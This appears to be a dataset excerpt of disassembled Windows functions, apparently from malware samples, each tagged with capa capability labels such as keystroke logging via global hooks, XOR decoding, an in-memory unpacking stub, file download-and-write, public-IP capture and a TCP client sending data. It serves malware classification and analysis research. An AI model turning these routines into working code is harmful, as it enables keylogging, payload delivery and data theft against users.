joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404e3e
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x404f0f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004038f6
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404ef9
push 2
push 0
push 0xfffffffffffffffc
push ebx
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
xor dword [ebp - 8], 0x4db3bc23
push 0
push ebx
call sub.KERNEL32.DLL_GetFileSize
cmp eax, dword [ebp - 8]
jb 0x404ef9
push 2
push 0
mov eax, dword [ebp - 8]
neg eax
push eax
push ebx
call sub.KERNEL32.DLL_SetFilePointer
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00403d9e
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0xc]
call fcn.00403cc6
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov eax, esi
mov edx, dword [ebp - 0xc]
call fcn.0040394a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404f16
lea eax, [ebp - 0xc]
call fcn.004038f6
ret

Function at 0x4050f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403c5e
xor eax, eax
push ebp
push 0x405188
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004038f6
mov word [ebp - 8], 0x2a
mov eax, dword [ebp - 4]
call fcn.00403a6e
mov ebx, eax
test bx, bx
jbe 0x40516a
mov di, 1
movzx eax, di
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax - 1]
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
mov dx, word [ebp - 6]
xor dx, word [ebp - 8]
call fcn.00403a16
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00403a76
inc edi
dec bx
jne 0x40513b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40518f
lea eax, [ebp - 0xc]
call fcn.004038f6
lea eax, [ebp - 4]
call fcn.004038f6
ret

Function at 0x405322
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403c5e
xor eax, eax
push ebp
push 0x405395
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
mov edx, 0x44
call fcn.004045b6
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x4000000
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403c6e
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40539c
lea eax, [ebp - 4]
call fcn.004038f6
ret
Function at 0x4053a6
Capabilities:
Get file size

Disassembly:
push ebx
push esi
mov esi, eax
xor ebx, ebx
push 0
push 4
push 4
push 0
push 1
push 0
mov eax, esi
call fcn.00403c6e
push eax
call sub.KERNEL32.DLL_CreateFileA
push 0
push eax
call sub.KERNEL32.DLL_GetFileSize
cmp eax, 0xffffffff
je 0x4053d4
mov ebx, eax
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x40562e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403c5e
xor eax, eax
push ebp
push 0x4056be
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004038f6
mov eax, dword [ebp - 4]
call fcn.00403a6e
mov ebx, eax
test bx, bx
jbe 0x4056a0
mov di, 1
movzx eax, di
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax - 1]
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
mov dx, word [ebp - 6]
xor dx, 0x18
call fcn.00403a16
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00403a76
inc edi
dec bx
jne 0x405671
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4056c5
lea eax, [ebp - 0xc]
call fcn.004038f6
lea eax, [ebp - 4]
call fcn.004038f6
ret

Function at 0x4056ce
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403c5e
xor eax, eax
push ebp
push 0x40575e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004038f6
mov eax, dword [ebp - 4]
call fcn.00403a6e
mov ebx, eax
test bx, bx
jbe 0x405740
mov di, 1
movzx eax, di
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax - 1]
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
mov dx, word [ebp - 6]
xor dx, 0xc
call fcn.00403a16
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00403a76
inc edi
dec bx
jne 0x405711
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405765
lea eax, [ebp - 0xc]
call fcn.004038f6
lea eax, [ebp - 4]
call fcn.004038f6
ret
Function at 0x405da6
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbc8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x438], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
mov ebx, ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00403c5e
xor eax, eax
push ebp
push 0x405fb4
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
push 0
push 0
push 0
push 0
push 0x405fc6
call sub.WININET.DLL_InternetOpenA
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x405f7f
push dword fs:[edx]
mov dword fs:[edx], esp
cmp dword [ebp - 0xc], 0
je 0x405f68
lea ecx, [ebp - 0x24]
lea edx, [ebp - 0x20]
mov eax, esi
call fcn.00405c9a
push 0
push 0
push 3
push 0
push 0
push 0x50
mov eax, dword [ebp - 0x20]
call fcn.00403c6e
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.WININET.DLL_InternetConnectA
mov dword [ebp - 0x10], eax
mov eax, 0x405fce
mov dword [ebp - 0x28], eax
push 0
push 0x80000000
lea eax, [ebp - 0x28]
push eax
push 0
push 0x405fda
mov eax, dword [ebp - 0x24]
call fcn.00403c6e
push eax
push 0x405fe6
mov eax, dword [ebp - 0x10]
push eax
call sub.WININET.DLL_HttpOpenRequestA
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
call fcn.00403a6e
push eax
mov eax, dword [ebp - 4]
call fcn.00403c6e
push eax
push 0x2f
push 0x405fee
mov eax, dword [ebp - 0x14]
push eax
call sub.WININET.DLL_HttpSendRequestA
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0x400
mov eax, dword [ebp - 0x2c]
call fcn.00402d26
mov esi, eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
push esi
push 5
mov eax, dword [ebp - 0x14]
push eax
call sub.WININET.DLL_HttpQueryInfoA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x405f68
xor eax, eax
push ebp
push 0x405f61
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 0x400
lea eax, [ebp - 0x18]
push eax
push 0x400
lea eax, [ebp - 0x432]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.WININET.DLL_InternetReadFile
cmp dword [ebp - 0x18], 0
je 0x405f31
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x432], 0
lea eax, [ebp - 0x438]
lea edx, [ebp - 0x432]
mov ecx, 0x402
call fcn.00403a56
mov edx, dword [ebp - 0x438]
lea eax, [ebp - 0x1c]
call fcn.00403a76
jmp 0x405eda
mov edx, dword [ebp - 0x1c]
mov eax, ebx
call fcn.00403d56
test eax, eax
setg byte [ebp - 5]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f68
mov eax, dword [ebp - 0x14]
push eax
call sub.WININET.DLL_InternetCloseHandle
mov eax, dword [ebp - 0x10]
push eax
call sub.WININET.DLL_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f86
mov eax, dword [ebp - 0xc]
push eax
call sub.WININET.DLL_InternetCloseHandle
ret
Function at 0x40622e
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x418], ebx
mov dword [ebp - 0xc], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403c5e
mov eax, dword [ebp - 8]
call fcn.00403c5e
xor eax, eax
push ebp
push 0x40636f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.004038f6
mov eax, esi
mov edx, dword [ebp - 0xc]
call fcn.0040394a
push 0
push 0
push 0
push 0
push 0x40637e
call sub.WININET.DLL_InternetOpenA
mov ebx, eax
test ebx, ebx
jne 0x4062a4
mov eax, esi
mov edx, dword [ebp - 0xc]
call fcn.0040394a
jmp 0x406349
push 0
push 0x84000002
push 0
push 0
push dword [ebp - 4]
push 0x406392
push dword [ebp - 8]
lea eax, [ebp - 0x418]
mov edx, 3
call fcn.00403b2e
mov eax, dword [ebp - 0x418]
call fcn.00403c6e
push eax
push ebx
call sub.WININET.DLL_InternetOpenUrlA
mov edi, eax
test edi, edi
jne 0x4062f4
push ebx
call sub.WININET.DLL_InternetCloseHandle
mov eax, esi
mov edx, dword [ebp - 0xc]
call fcn.0040394a
jmp 0x406349
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x411]
xor ecx, ecx
mov edx, 0x401
call fcn.00402ee6
lea eax, [ebp - 0x10]
push eax
push 0x400
lea eax, [ebp - 0x411]
push eax
push edi
call sub.WININET.DLL_InternetReadFile
test eax, eax
je 0x406339
mov eax, esi
lea edx, [ebp - 0x411]
mov ecx, 0x401
call fcn.00403a56
jmp 0x406343
mov eax, esi
mov edx, dword [ebp - 0xc]
call fcn.0040394a
push ebx
call sub.WININET.DLL_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406376
lea eax, [ebp - 0x418]
call fcn.004038f6
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040391a
ret
Function at 0x407336
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe5c
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x198], ecx
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x1a0], ecx
mov dword [ebp - 0x1a4], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403c5e
xor eax, eax
push ebp
push 0x407444
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.WSOCK32.DLL_WSAStartup
mov eax, dword [ebp - 4]
call fcn.00403c6e
push eax
call sub.WSOCK32.DLL_gethostbyname
mov ebx, eax
call sub.WSOCK32.DLL_WSACleanup
lea edx, [ebp - 0x198]
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax]
call fcn.00406056
push dword [ebp - 0x198]
push 0x40745a
lea edx, [ebp - 0x19c]
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 1]
call fcn.00406056
push dword [ebp - 0x19c]
push 0x40745a
lea edx, [ebp - 0x1a0]
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 2]
call fcn.00406056
push dword [ebp - 0x1a0]
push 0x40745a
lea edx, [ebp - 0x1a4]
mov eax, dword [ebx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 3]
call fcn.00406056
push dword [ebp - 0x1a4]
mov eax, esi
mov edx, 7
call fcn.00403b2e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40744b
lea eax, [ebp - 0x1a4]
mov edx, 4
call fcn.0040391a
lea eax, [ebp - 4]
call fcn.004038f6
ret
Function at 0x40745e
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x407466
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4075d1
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40a97c
push 0x101
call sub.WSOCK32.DLL_WSAStartup
push 0
push 1
push 2
call sub.WSOCK32.DLL_socket
mov dword [0x40ab0c], eax
cmp dword [0x40ab0c], 0xffffffff
je 0x4075a9
lea eax, [ebp - 8]
mov edx, 0x4075e6
call fcn.0040398e
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 8]
call fcn.00404cca
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00407336
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 8]
call fcn.0040398e
lea eax, [ebp - 0xc]
mov edx, 0x407606
call fcn.0040398e
mov word [ebp - 0x1c], 2
mov eax, dword [ebp - 0xc]
call fcn.0040540a
push eax
call sub.WSOCK32.DLL_htons
mov word [ebp - 0x1a], ax
mov eax, dword [ebp - 8]
call fcn.00403c6e
push eax
call sub.WSOCK32.DLL_inet_addr
mov ebx, eax
lea eax, [ebp - 8]
call fcn.004038f6
lea eax, [ebp - 0xc]
call fcn.004038f6
mov dword [ebp - 0x18], ebx
push 0x10
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x40ab0c]
push eax
call sub.WSOCK32.DLL_connect
test eax, eax
jne 0x4075a9
mov eax, 0x400
call fcn.00402d26
mov ebx, eax
mov edx, 0x400
mov eax, ebx
call fcn.004045b6
lea eax, [ebp - 0x28]
mov ecx, 0x407616
mov edx, esi
call fcn.00403aba
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 4]
call fcn.00404b2a
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.0040544a
push 0
lea eax, [ebp - 0x2c]
mov edx, ebx
call fcn.00403a26
mov eax, dword [ebp - 0x2c]
call fcn.00403a6e
push eax
push ebx
mov eax, dword [0x40ab0c]
push eax
call sub.WSOCK32.DLL_send
inc eax
je 0x4075a9
mov eax, ebx
call fcn.00402d46
mov eax, dword [0x40ab0c]
push eax
call sub.WSOCK32.DLL_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4075d8
lea eax, [ebp - 0x2c]
mov edx, 4
call fcn.0040391a
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040391a
ret

Function at 0x4081b2
Capabilities:
Set global application hook

Disassembly:
push 0
mov eax, dword [0x40a650]
push eax
mov eax, 0x408192
push eax
push 3
call sub.USER32.DLL_SetWindowsHookExA
mov dword [0x40ab2c], eax
push 0
mov eax, dword [0x40a650]
push eax
mov eax, 0x408172
push eax
push 4
call sub.USER32.DLL_SetWindowsHookExA
mov dword [0x40ab30], eax
push 0
mov eax, dword [0x40a650]
push eax
mov eax, 0x408152
push eax
push 0xc
call sub.USER32.DLL_SetWindowsHookExA
mov dword [0x40ab34], eax
ret
Function at 0x408306
Capabilities:
Log keystrokes via application hook
Set global application hook

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x4083ac
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x4083c2
call fcn.0040398e
push dword [ebp - 4]
push dword [ebp - 4]
push 0
lea eax, [ebp - 4]
mov edx, 3
call fcn.00403b2e
mov ebx, 1
push dword [ebp - 4]
lea edx, [ebp - 8]
mov eax, ebx
call fcn.0040576e
push dword [ebp - 8]
push dword [ebp - 4]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00403b2e
inc ebx
cmp ebx, 0xb
jne 0x408343
push 0
mov eax, dword [0x40a650]
push eax
mov eax, 0x408202
push eax
push 3
call sub.USER32.DLL_SetWindowsHookExA
mov dword [0x40ab38], eax
cmp dword [0x40ab38], 0
setne al
neg al
sbb ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4083b3
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040391a
ret

Function at 0x4083ca
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x408455
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x40846e
call fcn.0040398e
push dword [ebp - 4]
push dword [ebp - 4]
push 0
lea eax, [ebp - 4]
mov edx, 3
call fcn.00403b2e
mov ebx, 1
push dword [ebp - 4]
lea edx, [ebp - 8]
mov eax, ebx
call fcn.0040576e
push dword [ebp - 8]
push dword [ebp - 4]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00403b2e
inc ebx
cmp ebx, 0xb
jne 0x408407
mov eax, dword [0x40ab38]
push eax
call sub.USER32.DLL_UnhookWindowsHookEx
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40845c
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040391a
ret

Function at 0x408666
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 1
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call sub.ADVAPI32.DLL_RegCreateKeyExA
mov eax, ebx
call fcn.0040864e
inc eax
push eax
push ebx
push 1
push 0
push esi
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x408c1e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor edx, edx
push ebp
push 0x408d8c
push dword fs:[edx]
mov dword fs:[edx], esp
sub eax, 1
jb 0x408d43
jne 0x408d71
lea eax, [ebp - 8]
mov edx, dword [0x409194]
mov ecx, 0x105
call fcn.00403a56
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.004054ae
mov eax, dword [ebp - 4]
call fcn.004053a6
cmp eax, 0x1dc130
jbe 0x408cc7
lea eax, [ebp - 0x10]
mov edx, dword [0x409194]
mov ecx, 0x105
call fcn.00403a56
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.004054ae
mov eax, dword [ebp - 0xc]
call fcn.004053a6
cmp eax, 0x1e8480
jae 0x408cc7
mov eax, dword [0x4091b0]
push eax
push 0
push 0x5c
push 0x408b16
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov edx, dword [0x40918c]
mov dword [edx], eax
jmp 0x408d71
lea eax, [ebp - 0x18]
mov edx, dword [0x409194]
mov ecx, 0x105
call fcn.00403a56
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.004054ae
mov eax, dword [ebp - 0x14]
call fcn.004053a6
cmp eax, 0x10c8e0
jbe 0x408d71
lea eax, [ebp - 0x20]
mov edx, dword [0x409194]
mov ecx, 0x105
call fcn.00403a56
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
call fcn.004054ae
mov eax, dword [ebp - 0x1c]
call fcn.004053a6
cmp eax, 0x124f80
jae 0x408d71
mov eax, dword [0x4091b0]
push eax
push 0
push 0x5b
push 0x408aae
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov edx, dword [0x40918c]
mov dword [edx], eax
jmp 0x408d71
mov eax, dword [0x4091d8]
cmp dword [eax], 0
je 0x408d5a
mov eax, dword [0x4091d8]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_UnmapViewOfFile
mov eax, dword [0x409224]
cmp dword [eax], 0
je 0x408d71
mov eax, dword [0x409224]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408d93
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.0040391a
ret
Function at 0x10020313
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10020322
pop dword [ebp - 0x34]
mov eax, 0x10020322
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xbe14de78
add dword [ebp - 0x44], 0x903d66d3
mov dword [ebp - 0x40], 0xcfa76a36
add dword [ebp - 0x40], 0x628be20f
mov dword [ebp - 0x3c], 0x7261ac11
sub dword [ebp - 0x3c], 0x261567e3
mov dword [ebp - 0x38], 0x7c6bd94e
add dword [ebp - 0x38], 0x839426b2
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x1aa70342
add dword [ebp - 0x44], 0x59cb6614
mov dword [ebp - 0x40], 0xed559485
add dword [ebp - 0x40], 0x5416ccf0
mov dword [ebp - 0x3c], 0xabb3d48f
sub dword [ebp - 0x3c], 0x48446823
mov dword [ebp - 0x38], 0x3bfac840
sub dword [ebp - 0x38], 0x3bfac840
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3de34
push 0
call eax
mov ecx, 0x5ee1
mov edx, eax
mov ebx, 0x10031c00
add ebx, dword [ebp - 0x34]
mov esi, 0x5111f2ab
sub esi, 0x3bf14d79
add dword [ebp - 0xc], 0xd2361a97
mov edi, dword [ebx]
add dword [ebp - 4], 0x1026869a
sub edi, esi
xor dword [ebp - 0xc], eax
mov dword [edx], edi
mov dword [ebp - 0x30], 0x499ff396
add edx, 4
add ebx, 0x41c87ae9
add ebx, 0xbe37851b
loop 0x10020429
add eax, 0xb0633632
sub eax, 0xb061c7db
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xa0cf27d2
add ecx, 0x6f30d82e
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x10063c9
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0x10023e4
call fcn.01004c8a
cmp dword [ebp + 0x14], 0
pop ecx
je 0x10063ec
push dword [ebp + 0xc]
jmp loc.0100b000
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.010057f4
mov esi, eax
test esi, esi
je 0x1006418
push 0x10023c8
call fcn.01004c8a
mov dword [esp], 0x1009aa0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, esi
pop esi
pop ebp
ret 0x10
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x404290
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x40431c
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push 0x404320
push 0x406098
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x404328
push 0x406098
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
push str._0.0.0.0_
push 0x406098
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x406098
mov esp, ebp
pop ebp
ret
Function at 0x4018d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x406160
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4019c3
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4019b9
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x4019a1
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40199f
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x406160
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401995
cmp dword [ebp - 0x10], 0
je 0x401995
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x406160
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401958
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4019b9
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x406160
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x406160
mov esp, ebp
pop ebp
ret